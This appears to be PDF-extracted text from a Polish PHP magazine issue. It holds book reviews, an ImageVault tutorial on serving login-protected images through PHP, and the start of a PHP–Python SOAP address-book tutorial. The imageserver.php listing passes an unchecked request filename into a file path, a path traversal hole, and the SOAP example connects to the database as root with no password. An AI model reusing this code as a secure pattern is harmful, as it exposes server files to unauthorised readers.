Na koniec zostawiłem coś, co uważam za poważną wadę dla każdego, kto będzie chciał w praktyce wykorzystać choćby fragmenty przykładów zaprezentowanych w książce. Zapoznałem się ze wszystkimi recepturami i zauważyłem, że w niektórych przypadkach listingi dołączone do rozdziałów przekraczały aż cztery strony! W przypadku pro-stych receptur rozwiązujących pojedyncze problemy przepisanie całego kodu nie powinno sprawić czytelniko-wi większego problemu. Kiedy jednak mamy do czynienia z kodem aplikacji będącej „Centrum Teleczatu i Wia-domości Wideo” o dosyć dużej złożoności, umieszczenie kodu na płycie, bądź innym nośniku jest rozwiąza-niem wręcz wymaganym, a na pewno o wiele bardziej trafnym niż druk.

Niemniej jednak muszę przyznać, że wszystkie receptury zawarte w recenzowanej książce Joey’a Lott’a są na-prawdę solidnie przygotowane i faktycznie rozwiązują wiele problemów, na jakie developer flash’a może natknąć się podczas codziennej pracy. Jednak osoby, które zajmują się tworzeniem aplikacji we flash’u profesjonalnie, mo-gą poczuć niedosyt po lekturze tej pozycji.

Ogólnie mogę polecić tę książkę zarówno początkującym jak i zaawansowanym (ale nie profesjonalnym) użyt-kownikom pakietu Macromedii, a niedługo już Adobe.

Bartłomiej Wereszczyński

«««««

Książka PHP5. Księga eksperta tak naprawdę nie jest KSIĘGĄ EKSPERTA. Najchętniej określiłbym ją mianem “Vademe-cum dewelopera PHP”, choć i to byłoby trochę przesadzone. Najlepiej chyba pasuje tu określenie: Luźny przewodnik po róż-nych możliwościach PHP5.

W książce znajdziemy informacje zupełnie podstawowe, jak również te, które wprowadzają już w świat “Profesjonalne-go programowania w PHP”. Dowiemy się nieco o szablonach Smarty, PEAR, XSLT czy debugowaniu i optymalizacji skryp-tów PHP.

Bardziej zaawansowani Czytelnicy mogą poczytać o szyfrowaniu danych, programowaniu obiektowym, obsłu-dze błędów czy tworzeniu witryn dla WAP. Znajdziemy też dodatki o migracji aplikacji z PHP4 do PHP5, czy cieka-wy fragment o dobrych technikach programowania i zagadnieniach wydajności.

W książce zdecydowanie brakuje praktycznych przykładów zaawansowanego tworzenia aplikacji w PHP5. Próżno szukać informacji o modelowaniu w UML, wykorzystaniu wzorców projektowych czy testowaniu aplikacji. Przydałoby się studium przypadku, w którym autor pokazałby, jak podejść do większego projektu informatycznego, jak go planować i nim zarządzać. W końcu każdy “Ekspert” musi mieć pojęcie o profesjonalnym tworzeniu więk-szych aplikacji.

Książka jest solidną i przydatną pozycją, nie do końca chyba jednak przydatną ekspertom od PHP.Dariusz Pawłowski

PHP5. Księga ekspertaAutor: John CoggeshallWydawnictwo: Helion 2005 Cena: 89,00 zł

«««««

Recenzje

Page 60: PHP Solutions 03 2006 PL

ImageVault

www.phpsolmag.org60

Projekty

PHP Solutions Nr 3/2006

rzenia MOUSEDOWN i MOUSEUP. Funkcja bę-dzie sprawdzać, który przycisk myszy zo-stał naciśnięty, a w przypadku stwierdzenia naciśnięcia przycisku 2 lub 3 wyświetli po-wiadomienie informujące o wyłączeniu ob-sługi prawego przycisku myszy.

Dodawanie obrazówWszystko gotowe – pozostaje już tylko dodać pliki graficzne, które będą wyświe-tlane na stronie. Znacznik <img> każde-go obrazu będzie zawierał odwołanie do skryptu imageserver.php, co będzie wy-glądało mniej więcej tak:

<img src="imageserver.php?filename=

image1.gif" width="200"

height="100">

Teoretycznie wystarczy więc odpowiednio podmienić nazwę pliku i rozmiary obrazu. Nie jest to oczywiście zadanie trudne, ale przy galeriach liczących setki zdjęć ręcz-ne wprowadzanie znaczników jest zaję-ciem żmudnym i podatnym na błędy. Z te-go też względu utworzymy skrypt pomoc-niczy, który odczyta nazwy plików z kata-logu imagevault i automatycznie wygene-ruje kod odpowiednich znaczników <img>, który użytkownicy będą mogli po prostu skopiować i wkleić na stronę. Kod skryp-tu zawiera plik linkgen.php (Listing 7), umieszczony w katalogu public_html.

Przygotowanie systemuGdy mamy już wszystkie skrypty (in-dex.php, main.php, imageserver.php, lo-goff.php i linkgen.php), musimy je umie-ścić w katalogu public_html, a następ-nie utworzyć katalog imagevault na tym samym poziomie, co public_html. Potem bierzemy dowolne dwa obrazy (na przy-kład image1.gif i image2.gif) i umiesz-czamy je w katalogu imagevault. Musimy jeszcze dodać nowego użytkownika po-przez utworzenie pliku users.txt w kata-

Listing 5. Skrypt udostępniający pliki graficzne (plik imageserver.php)

<?php

/* Pat OBrien, 10 stycznia 2006 */

// Ustala rozszerzenie pliku

function get_extentsion($instr) { $instr = trim($instr); if (strlen($instr)<1) {return "gif";} $type = strtolower(substr(strrchr($instr,"."),1)); return $type;}

// Zapisuje komunikat o błędzie do pliku

function write_error_log($filename) { // Otwarcie lub utworzenia pliku ../imagevault/errorlog.txt

$efp = fopen('../imagevault/errorlog.txt', 'a'); // Utworzenie komunikatu o błędzie i zapisanie go do pliku

$errormessage = "Błąd: Nie można otworzyć pliku - ".$filename;

fwrite($efp, $errormessage); fclose($efp); return;}

/* -------------------- Część główna ----------------- */

session_start();

$validuser = $_SESSION['validuser'];

if ($validuser == 10) { $filename = $_REQUEST["filename"];

// Pobranie z żądania nazwy pliku graficznego

$ext = get_extentsion($filename);

// Pobranie rozszerzenia pliku

$fullpath = "../imagevault/".$filename;

// Dodanie pełnej ścieżki do pliku

$fp = fopen($fullpath, 'rb'); // Tryb binarny tylko do odczytu

if (!$fp) { // Zapisanie w logu komunikatu o nieudanej próbie otwarcia pliku write_error_log($filename);

print (" "); }else { // Odesłanie klientowi poprawnie odczytanego pliku // Ustawienie odpowiednich nagłówków

$h1 = "Content-Type: image/".$ext;

header($h1); header("Content-Length: ".filesize($fullpath)); // Zrzut pliku i zakończenie skryptu. Funkcja fpassthru() sama zamknie

// plik po zakończeniu działania, więc nie trzeba wywoływać fclose()

rewind($fp); fpassthru($fp); }

}else { print (" "); } // Użytkownik nieautoryzowany – odesłanie spacji

exit;?>

Listing 6. Kod JavaScriptu wyłączający obsługę prawego przycisku myszy

<head><script language="JavaScript1.1">

function rightmouse(e) {

if (navigator.appName == 'Netscape' && (e.which == 3 || e.which == 2)) return false; else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button == 2 || event.button == 3)) { alert("Obsługa prawego przycisku myszy jest

wyłączona.");

return false; } return true;}

document.onmousedown=rightmouse; document.onmouseup=rightmouse;if (document.layers) window.captureEvents(Event.MOUSEDOWN);if (document.layers) window.captureEvents(Event.MOUSEUP);window.onmousedown=rightmouse; window.onmouseup=rightmouse;</script></HEAD>

Rysunek 1. Struktura plików systemu ImageVault

Page 61: PHP Solutions 03 2006 PL

ImageVault

www.phpsolmag.org 61

Projekty

PHP Solutions Nr 3/2006

logu obrazów i zapisanie w nim wiersza o treści testuser|pass.

Ostatni etap to utworzenie dwóch testo-wych stron HTML. Pierwszą jest wspomnia-na wcześniej strona index.html, czyli fak-

Listing 7. Skrypt linkgen.php generujący kod HTML ze znacznikami <img> do-stępnych obrazów

<?php

/* Pat OBrien, 1 lutego 2006 */

require_once "showloginpage.php";

function isimage($instr) { // Ustalenie rozszerzenia pliku $isimage = false;

$instr = trim($instr); if (strlen($instr)<1) {return false;} $type = strtolower(substr(strrchr($instr,"."),1)); if ( strcmp("gif", $type)==0 ) {$isimage = true;} if ( strcmp("png", $type)==0 ) {$isimage = true;} if ( strcmp("jpg", $type)==0 ) {$isimage = true;} if ( strcmp("jpeg", $type)==0 ) {$isimage = true;} if ( strcmp("bmp", $type)==0 ) {$isimage = true;} return $isimage; }/* --------------- Część główna ------------------------------ */

session_start();

$validuser = $_SESSION['validuser'];

if ($validuser == 10) { $content = "<html><body bgcolor='#FFFFFF'>\n".

"<table width='800' border='0' cellspacing='0' cellpadding='5'>\n".

" <tr bgcolor='#006666'>\n<td><font face='Arial, Helvetica, sans-serif'

" size='2' color='#CCFFFF'>Nazwa pliku graficznego</font></td>\n".

" <td><font face='Arial, Helvetica, sans-serif' size='2' color='#CCFFFF'>

Kod HTML obrazu</font></td>\n</tr>\n";

// Pobranie listy nazw udostępnianych plików graficznych

if ($handle = opendir('../imagevault/')) { while (false !== ($file = readdir($handle))) { $file = basename(trim($file)); if (isimage($file)) { $fullpath = "../imagevault/".$file;

$size = getimagesize($fullpath);

if ($size) { // Utworzenie znacznika <img> dla bieżącego pliku

$imgtag = "<IMG SRC=\"imageserver.php?filename=".$file."\"

WIDTH=\"".$size[0]."\"HEIGHT=\"".$size[1]."\">";

// Utworzenie wpisu w tabeli dla bieżącego pliku

$content .= " <tr bgcolor='#EEEEEE'>\n".

"<td><font face='Arial, Helvetica, sans-serif' size='2'>".$file.

"</font></td>\n<td><font face='Arial, Helvetica, sans-serif'

"size='2'>\n<input type='text' name='imgtag' size='100'

maxlength='160' value='".$imgtag."'>\n</font></td></tr>\n";

} } }

$content .= "</table></body></html>\n";

closedir($handle); } print $content; // Wypisanie plików z kodem odpowiednich znaczników <img>}else { print(showLoginPage()); } // Użytkownik nieautoryzowanyexit;?>

Listing 8. Kod pliku pictures.html

<html>

<body bgcolor="#FFFFFF">

<h1>Our Pictures</h1>

<img src="imageserver.php?filename=image1.gif" width="200" height=”100”>

<br><br>

<img src="imageserver.php?filename=image2.gif" width="200" height=”100”>

</body>

</html>

Patrick O’Brien jest założycielem i twór-cą serwisu Jpowered.com (http://www.jpowered.com), dostarczającego zaawan-sowane rozwiązania dla twórców witryn in-ternetowych i programistów.

O autorze

tyczna strona główna. W katalogu image-vault tworzymy plik o następującej treści:

<html>

<body bgcolor="#FFFFFF">

<h1>Witamy na naszej stronie!</h1>

<a href="pictures.htm">

Kliknij tutaj, by zobaczyć zdjęcia</A>

</body>

</html>

Ostatnim plikiem jest strona galerii pictu-res.html (Listing 8), również zapisana w katalogu public_html.

Próba generalnaSkoro wszystko jest już gotowe, po-ra wypróbować nasz system: otwie-ramy przeglądarkę i wpisujemy adres strony pictures.html. Powinna się po-kazać strona zawierająca dwie iko-ny nieistniejących obrazów, czyli do-kładnie to, o co nam chodziło – aby zobaczyć obrazy, trzeba się zalogo-wać. Otwieramy więc stronę index.php i wprowadzamy testowy login i hasło(testuser i pass) w formularzu logowa-nia. W efekcie powinna zostać wyświe-tlona strona index.html. Kliknięcie jedy-nego dostępnego odsyłacza przenie-sie nas na stronę pictures.html: tym ra-zem obrazy powinny być wyświetlane poprawnie.

PodsumowanieJak widać, kontrolowanie dostępu do wybranych plików za pomocą skryp-tu PHP na serwerze jest proste i szyb-kie. Nie trzeba korzystać z rozbudowa-nych systemów kontroli dostępu tylko po to, by chronić wybrane pliki na wła-snej stronie domowej czy na witrynie klubowej. Przedstawiony system może posłużyć za podstawę dla bardziej za-awansowanych rozwiązań, uwzględnia-jących na przykład automatyczną reje-strację i usuwanie użytkowników, zróż-nicowane poziomy dostępu i wszelkie inne operacje, jakie mogą być potrzeb-ne. Tak czy inaczej, pamiętajmy za-wsze, że kluczem do sukcesu projektów programistycznych jest ich jak najwięk-sza prostota. n

Page 62: PHP Solutions 03 2006 PL

www.phpsolmag.org62

Projekty

PHP Solutions Nr 3/2006

Wyobraźmy sobie książkę tele-

adresową, w której będziemy

przechowywali dane o namia-

rach znajomych czy kontrahentów. Chcie-

libyśmy, aby informacje były gromadzone

w bazie danych na serwerze i udostępnia-

ne przez skrypt PHP-owy. Załóżmy że nie

chcemy jednak korzystać z interfejsu we-

bowego: znacznie bardziej wolimy wygo-

dę i funkcjonalność grafi cznych interfej-

sów okienkowych pod Windowsem czy Li-

nuksem. Z pomocą przychodzą nam usłu-

gi sieciowe (ang. Web Services), zwa-

ne też usługami sieciowymi, umożliwiają-

ce prostą do zorganizowania komunika-

cję pomiędzy klientem a serwerem. Pisa-

liśmy już o nich w paru artykułach (Google

API, XUL).

Jednym z najpopularniejszych protoko-

łów usług sieciowych jest SOAP. Przy jego

pomocy połączymy zainstalowaną na ser-

werze, korzystającą z bazy danych aplika-

cję PHP-ową z działającym na komputerze

klienta interfejsem użytkownika napisanym

Każdy język ma swoje mocne strony: PHP

słynie z oprogramowania serwerowego, Python

– z możliwości łatwego tworzenia

rozbudowanych aplikacji klienckich,

wyposażonych w grafi czny interfejs

użytkownika (GUI). Łacząc możliwości obu

języków, dzięki protokołowi SOAP, w prosty

sposób otrzymamy potężną i funkcjonalną

aplikację typu klient-serwer.

w Pythonie z użyciem wxWidgets.

Podstawowe założeniaNasz system będzie się składał z następu-

jących elementów:

• bazy danych – w niej będziemy skła-

dować dane książki teleadresowej,

• silnika (engine) – będzie się on znaj-

dował po stronie serwera i odpowiadał

wyłącznie za obsługę danych książki

Mariaż Pythona i PHP. Tworzymy interfejs grafi czny z wykorzystaniem SOAP

Krzysztof Sobolewski

W SIECI

1. http://www.python.org/

– ofi cjalna strona Pythona

2. http://phplens.com/

phpeverywhere/?q=node/

view/185

– Python kontra PHP

3. http://wiki.w4py.org/python-

vs-php.html

– Python kontra PHP

4. http://www.opensourcetutori

als.com/tutorials/Server-

Side-Coding/Python/

– tutoriale dla Pythona

Stopień trudności: ���

Co należy wiedzieć...Powinieneś znać model obiektowy i wy-

jątki w PHP5 oraz w Pythonie. Przydatna

będzie wiedza na temat wxWidgets, pro-

tokołu SOAP i formatu XML.

Co obiecujemy...Po przeczytaniu artykułu będziesz wie-

dział jak zbudować aplikację klient-ser-

wer w oparciu o protokół SOAP, gdzie

po stronie serwera jest skrypt PHP, nato-

miast klient jest napisany w Pythonie.

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 62 2006-04-05, 12:21:13

Page 63: PHP Solutions 03 2006 PL

Mariaż Pythona i PHP

www.phpsolmag.org 63

Projekty

PHP Solutions Nr 3/2006

teleadresowej: ich zwracanie, doda-

wanie, usuwanie i modyfi kację; będzie

też sprawdzał uprawnienia użytkowni-

ka do wykonania określonej operacji

na danych,

• interfejsu silnik-SOAP – jego miejsce

również jest po stronie serwera; bę-

dzie on organizował komunikację po-

między silnikiem, a aplikacją kliencką,

przetwarzał format danych pomiędzy

XML a tablicą, itd,

• interfejsu SOAP-GUI – będzie on czę-

ścią aplikacji klienckiej i, analogicznie

jak interfejs silnik-SOAP, będzie odpo-

wiadał za komunikację pomiędzy inter-

fejsem grafi cznym (GUI) a oprogramo-

waniem serwera.

• interfejsu grafi cznego (GUI) – za je-

go pomocą użytkownik będzie prze-

glądał dane oraz wydawał polecenia

(pobierz, skasuj, aktualizuj, dodaj do

bazy) interfejsowi SOAP-GUI, który

zajmie się ich dalszym przekazywa-

niem.

Wzajemne interakcje tych elementów

przedstawiamy na Rysunku 1. Typowa

sytuacja wygląda następująco: na żąda-

nie użytkownika, klient chce pobrać li-

stę wszystkich rekordów, więc przekazu-

je żądanie do interfejsu SOAP-GUI, który

z kolei zapisuje je w postaci XML i prze-

syła do aplikacji na serwerze. Tam żą-

danie jest odbierane przez interfejs sil-

nik-SOAP, konwertowane z XML-a na ta-

blicę i przekazywane silnikowi, który po-

biera dane z bazy. Następnie, odpowiedź

silnika trafi a do interfejsu silnik-SOAP,

gdzie jest przekształcana na XML i wy-

syłane do aplikacji klienckiej, gdzie zno-

wu podlega zamianie na tablicę (a raczej

słownik, gdyż tak nazywa się tablica aso-

cjacyjna w Pythonie), która jest przeka-

zywana do interfejsu grafi cznego i ew.

wyświetlana.

Silnik oraz interfejs SOAP stworzy-

my pod PHP5, korzystając z PDO, kla-

sy SoapServer, poprawionego modelu

obiektowego i wyjątków. Natomiast apli-

kację kliencką napiszemy w Pythonie

(wersja 2.4), używając wxWidgets (in-

terfejs grafi czny), wbudowanych funkcji

XML-owych oraz rozszerzenia SOAPpy.

Wybraliśmy wxWidgets, gdyż jest to na-

rzędzie rozbudowane, a zarazem prze-

nośne, działające zarówno pod Linuk-

sem, jak i Windowsem czy MacOS-em.

Wymagania i instalacja Potrzebujemy PHP 5.1, m.in. ze względu na PDO, które powinno być załączone w dystry-

bucji.

SOAP powinno również być dostępne w dystrybucji PHP, ale jeżeli kompilujemy parser,

musimy użyć opcji --enable-soap. Dodatkowo, będziemy potrzebowali GNOME XML Li-

brary (libxml) w wersji co najmniej 2.5.4. W bloku extension pliku php.ini musi znajdować

się odwołanie do soap.so lub php_soap.dll. Potrzebujemy też Pythona w wersji 2.4. Inter-

preter powinien być obecny w większości systemów Uni*owych, w tym dystrybucji Linuk-

sa. Wersja pod Windows jest wyposażona w prosty instaler.

Do zestawu pythonowego dodamy też wxWidgets (dawniej wxWindows), które możemy

pobrać spod adresu http://wxpython.org. W obecnej wersji, dystrybucja jest rozdzielona na

runtime (tego potrzebujemy) oraz dema i dokumentacje, które są przydatne, acz niewyma-

gane. W wersji pod Linuksa, wxPython wymaga dodatkowo bibliotek glib i gtk+.

Będziemy też potrzebowali biblioteki SOAPpy, zapewniającej obsługę SOAP pod Pytho-

nem. Ona z kolei wymaga pyxml oraz fpconst, które należy zainstalować w pierwszej ko-

lejności, później pobieramy i instalujemy bibliotekę SOAPpy. Instalacja rozszerzeń pytho-

nowych przeprowadzana jest za pomocą poleceń: python setup.py build oraz python

setup.py install

Po zainstalowaniu wszystkich elementów nasz zestaw jest gotowy do pracy.

Listing 1. Konstruktor silnika – to tu odbywa się inicjalizacja bazy danych

public function __construct(){

$this->msg='todoListEngine is ready';

try{

$this->db = new PDO('mysql:host=localhost;dbname=test', 'root', '');

// bardzo ważny atrybut – dzięki niemu PDO wyrzuca wyjątek zamiast

// FATAL ERROR

$this->db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

}catch (Exception $e){ return $this->errorArray("ERROR_NO_CONNECTION"); }

}

Listing 2. Metody narzędziowe, zwracające tablicę asocjacyjną zawierającą wy-

niki, komunikat lub informację o błędzie

private function resultArray($data){

return array('data_type'=>'entries','data_rows'=>$data);

}

private function msgArray($msg){

return array('data_type'=>'messages','data_rows'=>array(0=>array('msg'=>

$msg)));

}

private function errorArray($errorMsg){

return array('data_type'=>'errors','data_rows'=>array(0=>array('error'=>

$errorMsg)));

}

Listing 3. getDataFromSRC – główna metoda do pobierania danych z bazy

private function getDataFromSRC($userName,$pass,$query,$queryParams=array()

{

try{

$a=$this->checkConnection();

$a=$this->checkLogin($userName,$pass);

$stmt=$this->db->prepare($query);

foreach($queryParams as $i=>$j){ $stmt->bindValue(":".$i,$j); }

$stmt->execute();

$resultArray=$stmt->fetchAll(PDO::FETCH_ASSOC);

return $this->resultArray($resultArray);

}catch (Exception $e){ return $this->handleExceptions($e,

"ERROR_GET_FAILED");}

}

}

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 63 2006-04-05, 12:21:21

Page 64: PHP Solutions 03 2006 PL

Mariaż Pythona i PHP

www.phpsolmag.org64

Projekty

PHP Solutions Nr 3/2006

Tworzymy silnikPrzejdźmy teraz do tworzenia naszej apli-

kacji, zaczynając od silnika. Wykonanie

dowolnej operacji na danych będzie wy-

magało autoryzacji (którą będzie spraw-

dzał silnik) poprzez każdorazowe przesła-

nie hasła i loginu. Wszelkie błędy w dzia-

łaniu silnika zostaną obsłużone przez sys-

tem wyjątków (exceptions).

Nasz silnik będzie miał postać klasy

book_engine.

Zacznijmy od zdeklarowania pu-

blicznych i prywatnych zmiennych klasy:

$db (handler bazy danych), $required-

Fields (zestaw pól wymaganych pod-

czas dodawania danych do bazy),

$requiredFieldsUpdate (pola wymaga-

ne przy aktualizacji danych w bazie) oraz

$msg (komunikat zwracany przez silnik, wy-

korzystywany przez klienta w celu spraw-

dzenia, czy silnik działa). Teraz przejdzie-

my do metod, zaczynając od konstruktora

(Listing 1). To tutaj zainicjujemy bazę da-

nych, tworząc obiekt $this->db klasy PDO.

Operacja ta wymaga podania adresu ser-

wera, nazwy bazy, loginu i hasła (to ostat-

nie nie jest obowiązkowe, można zosta-

wić puste pole). Następnie ustawimy (se-

tAttribute) atrybut PDO::ATTR_ERRMODE tej

klasy: odpowiada on za sposób traktowa-

nia błędów w działaniu interfejsu PDO, ta-

kich jak np. brak połączenia z serwerem

bazodanowym czy błędna składnia kwe-

rendy. Chcemy, aby wszelkie problemy

tego rodzaju były obsługiwane poprzez

zgłaszanie wyjątku, więc ustawimy PDO::

ATTR_ERRMODE na PDO::ERRMODE_EXCEPTION.

Co więcej, całą operację inicjalizacji ba-

zy danych i ustawienia tego parametru uj-

miemy w bloku try...catch: w razie wy-

stąpienia błędu, funkcja zwróci komunikat

ERROR_NO_CONNECTION, który może później

zostać obsłużony przez klienta.

Zwróćmy też uwagę na wywoła-

nie funkcji errorArray: jest to prywatna

metoda klasy book_engine, której zada-

niem jest zwracanie błędów w postaci

tablicy przygotowanej do późniejszego

przekształcenia na XML. Na Listingu 2

widzimy tę funkcję obok resultArray

i msgArray, odpowiadających za zwra-

canie wyników operacji bazodanowych

oraz komunikatów innych, niż infor-

macje o błędach. W każdym przypad-

ku, tablica wygląda tak samo: różni się

jedynie elementem określającym typ

zwracanych danych (entries – wyniki,

errors – błędy i messages – komunika-

ty), na podstawie którego klient będzie

później oceniał, jakiego typu informacja

do niego dotarła.

Pobieranie danych z bazy

Potrzebujemy teraz metody pozwalającej

na pobieranie danych z bazy: określone-

go rekordu (wg ID) lub wszystkich rekor-

dów. Nasza metoda będzie się nazywa-

ła getDataFromSRC() i będzie przyjmowała

następujące parametry (Listing 3): nazwę

użytkownika ($userName), hasło ($pass),

kwerendę ($query) oraz opcjonalnie para-

metry kwerendy ($queryParams).

Następnie w bloku try..catch spraw-

dzamy, czy zostało nawiązane połączenie

oraz, czy użytkownik został poprawnie zalo-

gowany. Dokonamy tego za pomocą dwóch

metod narzędziowych: checkConnection()

oraz checkLogin() (Listing 4), które w ra-

zie niepowodzenia wyrzucą wyjątek. Ob-

sługą wyjątków zajmie się prywatna meto-

da klasy book_engine, handleExceptions().

Takie użycie wyjątków jest sensowne i nie

jest przesadą, gdyż każda niemożność wy-

konania operacji przez aplikację serwerową

dla klienta jest po prostu błędem, niezależ-

nie od źródła tego błędu. Wyjątki zapewnia-

ją możliwość kontrolowania wszelkich sytu-

acji tego rodzaju w dwóch czytelnych blo-

kach, bez zaciemniania kodu dziesiątkami

dodatkowych konstrukcji typu if..else czy

switch().

Jeżeli zarówno połączenie, jak i logo-

wanie odbyły się poprawnie, przechodzi-

my do wysyłania kwerendy. Skorzystamy

w tym celu ze świetnej możliwości ofero-

wanej także przez PDO, nazywanej pre-

pared statements (pisaliśmy o niej sze-

rzej w „PDO – przyszły standard dostępu

do baz danych” PHP Solutions 5/2005).

Prepared statements ułatwiają tworzenie

kwerendy, zastępując tradycyjne, polega-

jące na łączeniu łańcuchów metody wpi-

sywania parametrów poprzez tworzenie

pewnego rodzaju szablonów zapytania,

gdzie za pomocą specjalnych odnośni-

ków (rozpoczynających się przeważnie od

dwukropka) przekazujemy do zapytania

zmienne lub ich wartości. Zalety prepared

statements nie kończą się jednak na uła-

twianiu programowania: ich użycie powo-

duje również automatyczne i odpowiednie

dla danego typu bazy danych eskejpowa-

nie znaków (ang. character escaping), co

Podstawowe różnice pomiędzy Pythonem a PHP

• brak średników między poleceniami (np. na końcach wiersza),

• o składni decydują wcięcia – trzeba się ich trzymać co do kolumny w każdym bloku,

bo inaczej parser zwróci Syntax Error. Bloki otwieramy przez dwukropek i nie zamy-

kamy,

• kropka służy jako separator pomiędzy obiektem a metodą lub atrybutem, a nie do łą-

czenia łańcuchów (którego dokonujemy przy użyciu znaku +),

• tablice asocjacyjne – w Pythonie występują dwa najprostsze rodzaje tablic: lista in-

deksowana (list, której ogranicznikami są nawiasy kwadratowe []) oraz oparty na

kluczach słownik (dictionary, dict, którego ogranicznikami są nawiasy klamrowe {}).

Można łączyć oba typy, tzn. w listach zawierać słowniki i vice versa,

• w klasach nie ma podziału na metody publiczne i prywatne,

• nazwy zmiennych w Pythonie nie zaczynają się od znaku $,

• funkcje i metody deklarujemy przy użyciu instrukcji def, konstruktor klasy to _ _

init _ _ (),

• wewnątrz klasy na utworzony obiekt wskazuje zmienna self, nie $this.

silnik

aplikacji

interfejs

silnik

SOAP

interfejs

SOAP-

GUIGUI

SOAP

SERWER KLIENT

baza

danych

Rysunek 1. Schemat działania systemu książki teleadresowej

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 64 2006-04-05, 12:21:23

Page 65: PHP Solutions 03 2006 PL

Mariaż Pythona i PHP

www.phpsolmag.org 65

Projekty

PHP Solutions Nr 3/2006

chroni nas przed atakami SQL Injection

oraz zniesienie konieczności wpisywa-

nia cudzysłowów lub apostrofów w samej

kwerendzie, co umożliwia bezproblemo-

we przekazywanie danych zawierających

te znaki w dowolnym układzie.

Aby utworzyć nowy prepared sta-

tement o nazwie $stmt, użyjemy meto-

dy prepare() naszego obiektu $this->db.

Określimy w niej podstawową formę kwe-

rendy (szablon). Następnie, w pętli foreach

odczytamy kolejne parametry, jeżeli zosta-

ły one zdefi niowane w ostatnim, opcjonal-

nym argumencie getDataFromSRC(). Ar-

gument ten jest tablicą asocjacyjną, za-

wierającą klucze (na ich podstawie stwo-

rzymy nazwy odnośników, o których mó-

wiliśmy) oraz wartości, które przypiszemy

do prepared statement używając metody

bindValue() obiektu $stmt.

Gotowy statement wykonamy używa-

jąc $stmt->execute(), a następnie przy

pomocy $stmt->fetchAll() odczytamy

wyniki (PDO::FETCH_ASSOC – w posta-

ci tablicy asocjacyjnej).

Jeżeli wszystko przebiegło poprawnie,

funkcja zwróci tablicę wyników (resultAr-

ray()), a jeżeli wystąpił błąd, zwrócony zo-

stanie komunikat błędu ERROR_GET_FAILED.

Zauważmy, że getDataFromSRC() jest

metodą prywatną. Jest to celowe i wynika

ze względów bezpieczeństwa: wszak prze-

kazujemy do niej kwerendę i nie chcemy,

aby można było to zrobić np. za pomocą

interfejsu silnik-SOAP. Kwerendy będziemy

przekazywać przy użyciu publicznych me-

tod getAllEntries() oraz getOneEntry()

(Listing 5), które będą zwracały wszystkie

pozycje z tabeli bazodanowej lub jedną wy-

braną. Pierwsza z tych metod wymaga po-

dania jedynie loginu i hasła, podczas gdy

druga potrzebuje także ID wybranego re-

kordu.

Dodawanie nowych rekordów

Stworzymy teraz metodę addDataToSRC(),

(Listing 6), która będzie odpowiadała za

dodawanie nowych rekordów do bazy.

Przyjmuje ona 3 parametry: login, hasło

i dane do wstawienia, a swoje działanie

rozpoczyna od sprawdzania poprawności

połączenia i zalogowania.

Przejdźmy teraz do przetwarza-

nia przekazanych danych: metoda

addDataToSRC() pozwala na dodanie jed-

nego lub więcej rekordów za jednym wy-

wołaniem; w obu przypadkach przekazuje-

my tablicę pozycji do wstawienia, która na-

stępnie będzie iterowana w pętli foreach.

Każdy wiersz tablicy musi zawierać klucze

o nazwach odpowiadających polom tabeli

bazodanowej book – będzie to sprawdza-

ne przy użyciu prywatnej metody narzę-

dziowej checkRequiredFields(), wyrzuca-

jącej w razie błędu wyjątek z komunikatem

ERROR_BAD_DATA. Warto pamiętać, iż meto-

da ta sprawdza jedynie pola zdeklarowane

w tablicy $this->requiredFields, wśród

których nie znajduje się ID – nie ma więc

znaczenia, czy zestaw danych przekazy-

wanych do addDataToSRC() zawiera tako-

wy atrybut, czy nie. Następnie, dla każde-

go wersu tworzony będzie prepared state-

ment z poleceniem INSERT i parametrami

odpowiadającymi nazwom pól z $this-

>requiredFields, po czym zostanie wy-

konana kwerenda. W przypadku udanego

dodania rekordu metoda zwróci komunikat

OK_ADDED_DATA, lub ERROR_ADD_FAILED w

razie niepowodzenia. W tym drugim przy-

padku otrzymamy również bardziej szcze-

gółowy komunikat (np. ERROR_BAD_DATA),

następujący po ERROR_ADD_FAILED i oddzie-

lony od niego znakiem =. Metoda jest go-

towa.

Analogicznie do getDataFromSRC(),

addDataToSRC() jest metodą prywatną

Listing 4. Metody narzędziowe, sprawdzające połączenie (checkConnection())

i zalogowanie (checkLogin) oraz metoda obsługująca wyjątki (handleExceptions())

private function checkConnection(){

if(!isset($this->db)) { throw new Exception ('ERROR_NO_CONNECTION'); }

}

private function checkLogin($userName,$pass){

...

Listing 5. Metody getOneEntry() oraz getAllEntries(), przekazujące odpowiednią

kwerendę do getDataFromSRC()

public function getOneEntry($userName,$pass,$id){

$query="SELECT * from book WHERE id=:id";

$entries=$this->getDataFromSRC($userName,$pass,$query,array('id'=>$id));

return $entries;

}

public function getAllEntries($userName,$pass){

$query="SELECT * from book";

...

Listing 6. addDataToSRC – metoda służąca dodawaniu nowych rekordów do ba-

zy oraz jej interfejs, addEntry()

private function addDataToSRC($userName,$pass,$data){

try{

$a=$this->checkConnection();

$a=$this->checkLogin($userName,$pass);

foreach($data as $i){

// iteruj wszystkie rzędy tablicy, które będą dodane (zwykle jest 1)

$a=$this->checkRequiredFields($i);

$stmt=$this->db->prepare("INSERT INTO book ".

...

}

// end of $i foreach

return $this->msgArray("OK_ADDED_DATA");

}catch (Exception $e){ return $this->handleExceptions

($e,"ERROR_ADD_FAILED"); }

}

public function addEntry($userName,$pass,$data){

$result=$this->addDataToSRC($userName,$pass,$data);

return $result;

}

private function checkRequiredFields($data,$action='add'){

if($action=='add') { $requiredFields=$this->requiredFields; }

if($action=='update') { $requiredFields=$this->requiredFieldsUpdate; }

foreach($requiredFields as $i){

if(!isset($data[$i])) { throw new Exception ('ERROR_BAD_DATA'); }

}

return true;

}

62_63_64_65_66_67_68_69_70_71_Python_PL.indd 65 2006-04-05, 12:21:24

Page 66: PHP Solutions 03 2006 PL

Mariaż Pythona i PHP

www.phpsolmag.org66

Projekty

PHP Solutions Nr 3/2006

– dane przekazujemy przy użyciu publicz-

nej metody addEntry(), która przyjmuje ta-

kie same parametry, jak addDataToSRC().

Aktualizacja danychDo aktualizacji rekordów naszej książ-

ki teleadresowej posłuży metoda upda-

teDataInSRC() (Listing 7). Generalnie,

większość jej kodu jest bardzo podobna

do addDataToSRC(). Różnice pojawiają

się w przypadku zestawu wymaganych

pól – ten dla aktualizacji będzie zawierał

również ID rekordu i zostanie określony

